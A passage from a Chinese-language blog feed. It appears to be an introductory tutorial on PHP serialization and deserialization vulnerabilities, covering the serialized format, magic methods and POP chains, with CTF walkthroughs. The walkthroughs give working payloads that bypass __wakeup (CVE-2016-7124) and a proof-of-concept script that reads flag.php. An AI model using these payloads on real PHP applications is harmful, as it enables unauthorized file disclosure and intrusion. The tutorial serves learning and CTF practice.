<span class="keyword">protected</span> $test1 = <span class="string">'test1'</span>;</span><br><span class="line"> <span class="keyword">public</span> $test2 = <span class="string">'test2'</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">set_flag</span><span class="params">($flag)</span></span>{</span><br><span class="line"> <span class="keyword">$this</span>->flag = $flag;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">get_flag</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">$this</span>->flag;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line">$object = <span class="keyword">new</span> test();<span class="comment">//实例化类</span></span><br><span class="line">$object->set_flag(<span class="string">'xiaoZxiaoZ'</span>);<span class="comment">//对flag进行复制</span></span><br><span class="line"><span class="comment">// echo $object;</span></span><br><span class="line">$result = serialize($object);<span class="comment">//将对象进行序列化</span></span><br><span class="line"><span class="keyword">echo</span> $result;<span class="comment">//打印结果</span></span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>输出结果:</p><figure class="highlight less"><table><tr><td class="code"><pre><span class="line"><span class="comment">// echo $object 直接打印对象 明显是会报错的</span></span><br><span class="line"><span class="selector-tag">Recoverable</span> <span class="selector-tag">fatal</span> <span class="selector-tag">error</span>: <span class="selector-tag">Object</span> <span class="selector-tag">of</span> <span class="selector-tag">class</span> <span class="selector-tag">test</span> <span class="selector-tag">could</span> <span class="selector-tag">not</span> <span class="selector-tag">be</span> <span class="selector-tag">converted</span> <span class="selector-tag">to</span> <span class="selector-tag">string</span> <span class="selector-tag">in</span> <span class="selector-tag">E</span>:\<span class="selector-tag">test</span>\<span class="selector-tag">index</span><span class="selector-class">.php</span> <span class="selector-tag">on</span> <span class="selector-tag">line</span> <span class="selector-tag">18</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 序列化成字符串后打印结果</span></span><br><span class="line"><span class="selector-tag">O</span><span class="selector-pseudo">:4</span><span class="selector-pseudo">:"test"</span><span class="selector-pseudo">:3</span>:{<span class="attribute">s</span>:<span class="number">10</span>:<span class="string">"testflag"</span>;<span class="attribute">s</span>:<span class="number">10</span>:<span class="string">"xiaoZxiaoZ"</span>;<span class="attribute">s</span>:<span class="number">8</span>:<span class="string">"*test1"</span>;<span class="attribute">s</span>:<span class="number">5</span>:<span class="string">"test1"</span>;<span class="attribute">s</span>:<span class="number">5</span>:<span class="string">"test2"</span>;<span class="attribute">s</span>:<span class="number">5</span>:<span class="string">"test2"</span>;}</span><br></pre></td></tr></table></figure><p>可以看到序列化后的结果和json数据格式有点类似,下面对上述序列化后的字符串进行解释:</p><ul><li><p>括号外面<br>O:4:“test”:3:<br>O表示这是一个对象<br>4便是对象名的字符长度,这里的是test,长度为4<br>'test’为对象名<br>3表示该对象中有三个属性,即类中定义了三个变量</p></li><li><p>括号里面<br>可以看到是有一定格式的,其中 s:10:“testflag”;s:10:“xiaoZxiaoZ”; 为一组<br>前面的s:10:“testflag”;为属性名,后面为属性值<br>对于每一个部分,都是由类型+长度+值来表示。<br>如 s:10:“testflag”; 中 s 为数据类型,10为长度<br>需要注意,这里testflag虽然是8个字符,但是在PHP序列化中,对于私有属性,序列化时会在前面补上两个空字符,所以这里的长度为10,后面即为值。<br>而后续的 s:10:“xiaoZxiaoZ”; 即是属性值,格式一样,和前一部分连起来表示属性名为testflag的变量的值为xiaoZxiaoZ。</p></li></ul><p>括号里面其他部分就是类似的了,另外这里又有一个需要注意的点就是,对于pritected权限的test,在PHP序列化之后为’*test1’,字符长度也变为了8,这也是需要注意的一个点,在PHP序列化中,对于对象中的protected属性,需要在前面加上两个空白符和*。</p><p>另外,需要注意,序列化结果中并没有方法,即在对对象进行序列化时,只对属性进行序列化,方法是不用进行序列化的。在PHP序列化中,其涉及的字符如下:</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line">a - <span class="keyword">array</span></span><br><span class="line">b - boolean</span><br><span class="line">d - double</span><br><span class="line">i - integer</span><br><span class="line">o - common object</span><br><span class="line">r - reference</span><br><span class="line">s - string</span><br><span class="line">C - custom object</span><br><span class="line">O - <span class="class"><span class="keyword">class</span></span></span><br><span class="line"><span class="class"><span class="title">N</span> - <span class="title">null</span></span></span><br><span class="line"><span class="class"><span class="title">R</span> - <span class="title">pointer</span> <span class="title">reference</span></span></span><br><span class="line"><span class="class"><span class="title">U</span> - <span class="title">unicode</span> <span class="title">string</span></span></span><br><span class="line"><span class="class"></span></span><br><span class="line"><span class="class"><span class="title">N</span> 表示的是<span class="title">NULL</span>,而<span class="title">b</span>、<span class="title">d</span>、<span class="title">i</span>、<span class="title">s</span> 表示的是四种标量类型,目前其它语言所实现的<span class="title">PHP</span>序列化程序</span></span><br><span class="line"><span class="class">基本上都实现了对这些类型的序列化和反序列化,不过有一些实现中对<span class="title">s</span> (字符串)的实现存在问题。</span></span><br><span class="line"><span class="class"></span></span><br><span class="line"><span class="class"><span class="title">a</span>、<span class="title">O</span> 属于最常用的复合类型,大部分其他语言的实现都很好的实现了对<span class="title">a</span> 的序列化和反序列化,</span></span><br><span class="line"><span class="class">但对<span class="title">O</span> 只实现了<span class="title">PHP4</span> 中对象序列化格式,而没有提供对<span class="title">PHP</span> 5 中扩展的对象序列化格式的支持。</span></span><br><span class="line"><span class="class"></span></span><br><span class="line"><span class="class"><span class="title">r</span>、<span class="title">R</span> 分别表示对象引用和指针引用,这两个也比较有用,在序列化比较复杂的数组和对象时</span></span><br><span class="line"><span class="class">就会产生带有这两个标示的数据,目前这两个标示尚没有发现有其他语言的实现。</span></span><br><span class="line"><span class="class"></span></span><br><span class="line"><span class="class"><span class="title">C</span> 是<span class="title">PHP5</span> 中引入的,它表示自定义的对象序列化方式,尽管这对于其它语言来说是没有必要实现的。</span></span><br><span class="line"><span class="class"></span></span><br><span class="line"><span class="class"><span class="title">U</span> 是<span class="title">PHP6</span> 中才引入的,它表示<span class="title">Unicode</span> 编码的字符串。因为<span class="title">PHP6</span> 中提供了<span class="title">Unicode</span> 方式保存字符串的能力,</span></span><br><span class="line"><span class="class">因此它提供了这种序列化字符串的格式,不过这个类型<span class="title">PHP5</span>、<span class="title">PHP4</span> 都不支持,而这两个版本目前是主流,因此在其它语言实现该类型时,</span></span><br><span class="line"><span class="class">不推荐用它来进行序列化,不过可以实现它的反序列化过程。</span></span><br><span class="line"><span class="class"></span></span><br><span class="line"><span class="class">最后还有一个<span class="title">o</span>,这个标示在<span class="title">PHP3</span> 中被引入用来序列化对象,但是到了<span class="title">PHP4</span> 以后就被<span class="title">O</span> 取代了。</span></span><br><span class="line"><span class="class">在<span class="title">PHP3</span> 的源代码中可以看到对<span class="title">o</span> 的序列化和反序列化与数组<span class="title">a</span>基本上是一样的。但是在<span class="title">PHP4</span>、<span class="title">PHP5</span> 和<span class="title">PHP6</span></span></span><br><span class="line"><span class="class">的源代码中序列化部分里都找不到它的影子,但是在这几个版本的反序列化程序源代码中却都有对它的处理。</span></span><br></pre></td></tr></table></figure><h2 id="PHP反序列化">PHP反序列化</h2><p>有了上一部分的介绍,这一部分会简单很多,反序列化则是将字符串还原为对象,在PHP中,其函数为unserialize(),可以看到下面的示例:</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">test</span> //类定义</span></span><br><span class="line"><span class="class"></span>{</span><br><span class="line"> <span class="keyword">private</span> $flag = <span class="string">'xiaoZisacaiji'</span>;</span><br><span class="line"> <span class="keyword">protected</span> $test1 = <span class="string">'test1'</span>;</span><br><span class="line"> <span class="keyword">public</span> $test2 = <span class="string">'test2'</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">set_flag</span><span class="params">($flag)</span></span>{</span><br><span class="line"> <span class="keyword">$this</span>->flag = $flag;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">get_flag</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">$this</span>->flag;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$data = file_get_contents(<span class="string">"re.txt"</span>); <span class="comment">//序列化结果存储在re.txt</span></span><br><span class="line"></span><br><span class="line">$data = unserialize($data);</span><br><span class="line"><span class="keyword">echo</span> $data->test1;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"<br>"</span>;</span><br><span class="line"><span class="keyword">echo</span> $data->get_flag();</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>上述代码运行后结果为:</p><figure class="highlight"><table><tr><td class="code"><pre><span class="line">test2</span><br><span class="line">xiaoZxiaoZ</span><br></pre></td></tr></table></figure><p>其实就是还原,这里倒是没什么要说的,但是这里有一点值得提一下的是 ,反序列化得到的对象一般是程序可能会用到的,那么如果可以在反序列化时将其中的某个属性值改成自己想要的值,是否可以达成一些其他目的呢?这其实便是一些ctf web题中场景的反序列化漏洞利用原理。</p><h2 id="PHP反序列化漏洞与魔法函数">PHP反序列化漏洞与魔法函数</h2><p>上面已经举了些例子对PHP序列化与反序列化进行了介绍,下面对PHP反序列化的漏洞进行介绍,归根到底,这些漏洞的根本原理在于,通过利用PHP反序列化相关函数中的一些漏洞,改变反序列化结果中对象的属性值,从而实现最终的攻击。常涉及到的函数有以下这些,通过利用这些函数的一些特性或漏洞即可进行反序列化对象注入,修改对象的属性值:</p><h3 id="construct-destruct">construct(), destruct()</h3><p>构造函数与析构函数,前者创建对象时调用,后者销毁对象时调用。</p><h3 id="call-callStatic">call(), callStatic()</h3><p>方法重载的两个函数<br>__call()是在对象上下文中调用不可访问的方法时触发。<br>__callStatic()是在静态上下文中调用不可访问的方法时触发。</p><h3 id="get-set">get(), set()</h3><p>__get()用于从不可访问的属性读取数据,当给不可访问或不存在属性赋值时被调用。<br>__set()用于将数据写入不可访问的属性,读取不可访问或不存在属性时被调用。</p><h3 id="isset-unset">isset(), unset()</h3><p>__isset()在不可访问的属性上调用isset()或empty()触发。<br>__unset()在不可访问的属性上使用unset()时触发。</p><h3 id="sleep-wakeup">sleep(), wakeup()</h3><p>serialize()检查类是否具有魔术名sleep()的函数。如果有,该函数在任何序列化之前执行。它可以清理对象,并且应该返回一个数组,其中应该被序列化的对象的所有变量的名称。如果该方法不返回任何内容,则将NULL序列化并发出E_NOTICE。sleep()的预期用途是提交挂起的数据或执行类似的清理任务。此外,如果您有非常大的对象,不需要完全保存,该功能将非常有用。<br>unserialize()使用魔术名wakeup()检查函数的存在。如果存在,该功能可以重构对象可能具有的任何资源。wakeup()的预期用途是重新建立在序列化期间可能已丢失的任何数据库连接,并执行其他重新初始化任务。</p><h3 id="toString">__toString()</h3><p>这个函数在反序列化中,触发条件比较多,因为这个也常被忽略,常见的触发方式有:</p><ul><li>echo ($obj) / print($obj) 打印时会触发</li><li>反序列化对象与字符串连接时</li><li>反序列化对象参与格式化字符串时</li><li>反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)</li><li>反序列化对象参与格式化SQL语句,绑定参数时</li><li>反序列化对象在经过php字符串函数,如 strlen()、addslashes()时</li><li>在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用</li><li>反序列化的对象作为 class_exists() 的参数的时候</li></ul><h3 id="invoke">__invoke()</h3><p>当脚本尝试将对象调用为函数时,调用__invoke()方法。</p><h3 id="set-state">__set_state()</h3><p>当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。</p><h3 id="clone">__clone()</h3><p>进行对象clone时被调用,用来调整对象的克隆行为。</p><h3 id="debugInfo">__debugInfo()</h3><p>当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本。</p><p>这些函数也叫做魔法函数,后面会结合例子对一些较为常见的魔法函数进行介绍。</p><h2 id="PHP反序列化与POP链">PHP反序列化与POP链</h2><p>在介绍这些魔法函数的细节前,先了解一个概念——POP链。<br>就如前文所说,当反序列化参数可控时,可能会产生严重的安全威胁。<br>面向对象编程从一定程度上来说,就是完成类与类之间的调用。就像ROP一样,POP链起于一些小的"组件",这些小"组件"可以调用其他的"组件"。在PHP中,"组件"就是这些魔术方法( 比如__wakeup()或__destruct() )。</p><p>一些对我们来说有用的POP链方法:</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="comment">//命令执行</span></span><br><span class="line">exec()</span><br><span class="line">passthru()</span><br><span class="line">popen()</span><br><span class="line">system()</span><br><span class="line"></span><br><span class="line"><span class="comment">//文件操作</span></span><br><span class="line">file_put_contents()</span><br><span class="line">file_get_contents()</span><br><span class="line">unlink()</span><br></pre></td></tr></table></figure><p>在反序列化漏洞的利用中,其实便是需要我们去构造POP链,将需要传入的参数传到对象属性中,从而达到读取文件或执行命令的目的。<br>如下面这样的代码(来源XCTF 攻防世界 web进阶 unserialize3)</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">xctf</span></span>{ </span><br><span class="line"><span class="keyword">public</span> $flag = <span class="string">'111'</span>;</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span><span class="params">()</span></span>{</span><br><span class="line"><span class="keyword">exit</span>(<span class="string">'bad requests'</span>);</span><br><span class="line">}</span><br><span class="line">?code=</span><br></pre></td></tr></table></figure><p>这里的反序列化利用比较简单,只需要利用wakeup进行绕过将flag传入即可。这里利用了PHP中的魔法函数_wakeup(),__wakeup()函数漏洞与对象的属性个数有关,如果序列化后的字符串中表示属性个数的数字与真实属性个数一致,那么就调用__wakeup()函数,如果该数字大于真实属性个数,就会绕过__wakeup()函数。所以绕过payload:O:4:“sctf”:2:{s:4:“flag”;s:3:“111”;}</p><p>上面这个对于理解POP链可能帮助并不大,下面看这个例子:</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">popdemo</span></span></span><br><span class="line"><span class="class"></span>{</span><br><span class="line"> <span class="keyword">private</span> $data = <span class="string">"demon"</span>;</span><br><span class="line"> <span class="keyword">private</span> $filename = <span class="string">'./demo'</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">$this</span>->save(<span class="keyword">$this</span>->filename);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">save</span><span class="params">($filename)</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> file_put_contents($filename, <span class="keyword">$this</span>->data);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>这就是一个比较简单的POP链,攻击者需要做的是通过利用_wakeup()魔法函数,将需要读取的文件名传入到反序列化后的对象中,从而实现读取文件的目的。这里使用的poc不直接给出,可以自行尝试。</p><h2 id="PHP反序列化示例">PHP反序列化示例</h2><p>这里的示例,结合两个CTF题目进行介绍,希望对于通过对于这些示例的介绍,能够都PHP序列化与反序列化有一个更为清晰的理解。</p><h3 id="示例一">示例一</h3><p>先看题目源码:</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">SoFun</span></span>{ </span><br><span class="line"> <span class="keyword">protected</span> $file=<span class="string">'index.php'</span>;</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span></span>{ </span><br><span class="line"> <span class="keyword">if</span>(!<span class="keyword">empty</span>(<span class="keyword">$this</span>->file)) {</span><br><span class="line"> <span class="keyword">if</span>(strchr(<span class="keyword">$this</span>-> file,<span class="string">"\\"</span>)===<span class="keyword">false</span> && strchr(<span class="keyword">$this</span>->file, <span class="string">'/'</span>)===<span class="keyword">false</span>)</span><br><span class="line"> show_source(dirname (<span class="keyword">__FILE__</span>).<span class="string">'/'</span>.<span class="keyword">$this</span> ->file);</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'Wrong filename.'</span>);</span><br><span class="line"> }</span><br><span class="line"> } </span><br><span class="line"> </span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span><span class="params">()</span></span>{ </span><br><span class="line"> <span class="keyword">$this</span>-> file=<span class="string">'index.php'</span>; </span><br><span class="line"> } </span><br><span class="line"> </span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__toString</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="string">''</span> ;</span><br><span class="line"> }</span><br><span class="line">} </span><br><span class="line"> </span><br><span class="line"><span class="keyword">if</span> (!<span class="keyword">isset</span>($_GET[<span class="string">'file'</span>])){ </span><br><span class="line">show_source(<span class="string">'index.php'</span>); </span><br><span class="line">} </span><br><span class="line"></span><br><span class="line"><span class="keyword">else</span>{ </span><br><span class="line"> $file=base64_decode( $_GET[<span class="string">'file'</span>]); </span><br><span class="line"> <span class="keyword">echo</span> unserialize($file);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="meta">?></span> </span><br><span class="line"><span class="comment">#<!--key in flag.php--></span></span><br></pre></td></tr></table></figure><p>代码审计,要得到flag,思路如下:</p><ul><li>源码最后提示,KEY在flag.php里面;</li><li>注意到__destruct魔术方法中,有这么一段代码,将file文件内容显示出来<br>show_source(dirname(FILE).’/‘.$this->file),这个是解题关键;</li><li>若POST“file”参数为序列化对象,且将file设为flag.php;那么可以通过unserialize反序列化,进而调用__destruct魔术方法来显示flag.php源码(要注意的是file参数内容需要经过base64编码);</li><li>另外,从代码分析可以知道,还有__wakeup这个拦路虎,通过unserialize反序列化之后,也会调用__wakeup方法,它会把file设为index.php;</li><li>总结下来就是,想办法把file设为flag.php,触发__destruct方法,且绕过__wakeup。</li></ul><p>这里的重点是绕过__wakeup,而这个方法是存在一个PHP反序列化对象注入漏洞的。简单来说,当序列化字符串中,如果表示对象属性个数的值大于实际属性个数时,那么就会跳过wakeup方法的执行。因此,可以构造payload,将其属性个数修改为比实际大,即可绕过该魔法函数。</p><p>这里构造payload:</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line">O:<span class="number">5</span>:<span class="string">"SoFun"</span>:<span class="number">2</span>:{S:<span class="number">7</span>:<span class="string">"\00*\00file"</span>;s:<span class="number">8</span>:<span class="string">"flag.php"</span>;}</span><br><span class="line"></span><br><span class="line"><span class="comment">//其中,O:5:"SoFun":2: 中的2本应该为1,这里为了绕过wakeup函数将其改为2</span></span><br><span class="line"><span class="comment">//另外,file是protected属性,因此需要用\00*\00来表示,\00代表ascii为0的值,即为空字符。</span></span><br><span class="line"><span class="comment">//另外,payload还需要经过Base64编码,最终的payload为:</span></span><br><span class="line"></span><br><span class="line">Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==</span><br></pre></td></tr></table></figure><h3 id="示例二">示例二</h3><p>本题来源–19年国赛。源码:</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Handle</span></span>{</span><br><span class="line"> <span class="keyword">private</span> $handle;</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">foreach</span>(get_object_vars(<span class="keyword">$this</span>) <span class="keyword">as</span> $k => $v) {</span><br><span class="line"> <span class="keyword">$this</span>->$k = <span class="keyword">null</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"Waking up\n"</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($handle)</span> </span>{</span><br><span class="line"> <span class="keyword">$this</span>->handle = $handle;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">$this</span>->handle->getFlag();</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Flag</span></span>{</span><br><span class="line"> <span class="keyword">public</span> $file;</span><br><span class="line"> <span class="keyword">public</span> $token;</span><br><span class="line"> <span class="keyword">public</span> $token_flag;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($file)</span></span>{</span><br><span class="line"> <span class="keyword">$this</span>->file = $file;</span><br><span class="line"> <span class="keyword">$this</span>->token_flag = <span class="keyword">$this</span>->token = md5(rand(<span class="number">1</span>,<span class="number">10000</span>));</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">getFlag</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">$this</span>->token_flag = md5(rand(<span class="number">1</span>,<span class="number">10000</span>));</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">$this</span>->token === <span class="keyword">$this</span>->token_flag)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="keyword">$this</span>->file)){</span><br><span class="line"> <span class="keyword">echo</span> @highlight_file(<span class="keyword">$this</span>->file,<span class="keyword">true</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这个示例就不进行详细的代码分析了,代码具体分析可得:</p><ul><li>首先我们需要绕的就是 $url=parse_url($_SERVER[‘REQUEST_URI’]);使得 parse_str($url[‘query’],$query); 中query解析失败,这样就可以在payload里出现flag,这里应该n1ctf的web eating cms的绕过方式,添加 ///index.php绕过。</li><li>接下来就是需要我们绕过wakeup()里的将$k赋值为空的操作,这里用到的就是示例一种所说当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)</li><li>绕md5这里用到了PHP中引用变量的知识,可以参考<a href="https://blog.csdn.net/qq_33156633/article/details/79936487" target="_blank" rel="noopener">这篇博客</a></li></ul><p>简单来说就是,当两个变量指向同一地址时,例如: $b=&$a,这里的 $b指向的是 $a的区域,这样b就随着a变化而变化,同样的原理,我们在第二步序列化时加上这一步</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line">$b = <span class="keyword">new</span> Flag(<span class="string">"flag.php"</span>);</span><br><span class="line">$b->token=&$b->token_flag;</span><br><span class="line">$a = <span class="keyword">new</span> Handle($b);</span><br></pre></td></tr></table></figure><p>这样最后的token就和token_flag保持一致了。最后的POC如下:</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Handle</span></span></span><br><span class="line"><span class="class"></span>{ </span><br><span class="line"> <span class="keyword">private</span> $handle; </span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">foreach</span>(get_object_vars(<span class="keyword">$this</span>) <span class="keyword">as</span> $k => $v)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">$this</span>->$k = <span class="keyword">null</span>; </span><br><span class="line"> } </span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"Waking upn"</span>; </span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($handle)</span> </span></span><br><span class="line"><span class="function"> </span>{ </span><br><span class="line"> <span class="keyword">$this</span>->handle = $handle; </span><br><span class="line"> } </span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>{ </span><br><span class="line"> <span class="keyword">$this</span>->handle->getFlag(); </span><br><span class="line"> } </span><br><span class="line">} </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Flag</span></span></span><br><span class="line"><span class="class"></span>{ </span><br><span class="line"> <span class="keyword">public</span> $file; </span><br><span class="line"> <span class="keyword">public</span> $token; </span><br><span class="line"> <span class="keyword">public</span> $token_flag; </span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($file)</span></span></span><br><span class="line"><span class="function"> </span>{ </span><br><span class="line"> <span class="keyword">$this</span>->file = $file; </span><br><span class="line"> <span class="keyword">$this</span>->token_flag = <span class="keyword">$this</span>->token = md5(rand(<span class="number">1</span>,<span class="number">10000</span>)); </span><br><span class="line"> } </span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">getFlag</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>{ </span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="keyword">$this</span>->file))</span><br><span class="line"> { </span><br><span class="line"> <span class="keyword">echo</span> @highlight_file(<span class="keyword">$this</span>->file,<span class="keyword">true</span>); </span><br><span class="line"> } </span><br><span class="line"> } </span><br><span class="line">}</span><br><span class="line">$b = <span class="keyword">new</span> Flag(<span class="string">"flag.php"</span>);</span><br><span class="line">$b->token=&$b->token_flag;</span><br><span class="line">$a = <span class="keyword">new</span> Handle($b);</span><br><span class="line"><span class="keyword">echo</span>(serialize($a));</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>这里还需要用%00来补全空缺的字符,又因为含有private 变量,需要 encode 一下。最终payload:</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line">?file=hint&payload=O%<span class="number">3</span>A6%<span class="number">3</span>A%<span class="number">22</span>Handle%<span class="number">22</span>%<span class="number">3</span>A1%<span class="number">3</span>A%<span class="number">7</span>Bs%<span class="number">3</span>A14%<span class="number">3</span>A%<span class="number">22</span>Handlehandle%<span class="number">22</span>%<span class="number">3</span>BO%<span class="number">3</span>A4%<span class="number">3</span>A%<span class="number">22</span>Flag%<span class="number">22</span>%<span class="number">3</span>A3%<span class="number">3</span>A%<span class="number">7</span>Bs%<span class="number">3</span>A4%<span class="number">3</span>A%<span class="number">22</span>file%<span class="number">22</span>%<span class="number">3</span>Bs%<span class="number">3</span>A8%<span class="number">3</span>A%<span class="number">22</span>flag.php%<span class="number">22</span>%<span class="number">3</span>Bs%<span class="number">3</span>A5%<span class="number">3</span>A%<span class="number">22</span>token%<span class="number">22</span>%<span class="number">3</span>Bs%<span class="number">3</span>A32%<span class="number">3</span>A%<span class="number">22</span>da0d1111d2dc5d489242e60ebcbaf988%<span class="number">22</span>%<span class="number">3</span>Bs%<span class="number">3</span>A10%<span class="number">3</span>A%<span class="number">22</span>token_flag%<span class="number">22</span>%<span class="number">3</span>BR%<span class="number">3</span>A4%<span class="number">3</span>B%<span class="number">7</span>D%<span class="number">7</span>D</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
接之前写的关于SSRF漏洞的介绍,之前写完SSRF篇,激起了自己想把这些漏洞都系统性总结下的兴趣,后续会对于一些其他的漏洞也进行一些介绍,这个系列的更偏向于对于没有基础或者基础较弱的人的科普。更加深入的东西,会在一些其他wp或博客中进行介绍。另外,这一篇博客中不涉及对session序列化、phar伪协议触发PHP反序列化等的介绍,将会在第二部分中进行总结。
</summary>
<category term="Web漏洞介绍" scheme="http://www.xiaozblog.top/categories/Web%E6%BC%8F%E6%B4%9E%E4%BB%8B%E7%BB%8D/"/>
<category term="CTF" scheme="http://www.xiaozblog.top/tags/CTF/"/>
<category term="Web漏洞" scheme="http://www.xiaozblog.top/tags/Web%E6%BC%8F%E6%B4%9E/"/>
<category term="PHP" scheme="http://www.xiaozblog.top/tags/PHP/"/>
<category term="反序列化" scheme="http://www.xiaozblog.top/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
</entry>
<entry>
<title>PHP伪协议总结</title>
<link href="http://www.xiaozblog.top/2019/09/21/PHP%E4%BC%AA%E5%8D%8F%E8%AE%AE%E6%80%BB%E7%BB%93/"/>
<id>http://www.xiaozblog.top/2019/09/21/PHP%E4%BC%AA%E5%8D%8F%E8%AE%AE%E6%80%BB%E7%BB%93/</id>
<published>2019-09-21T02:51:09.000Z</published>
<updated>2020-09-03T15:29:00.000Z</updated>
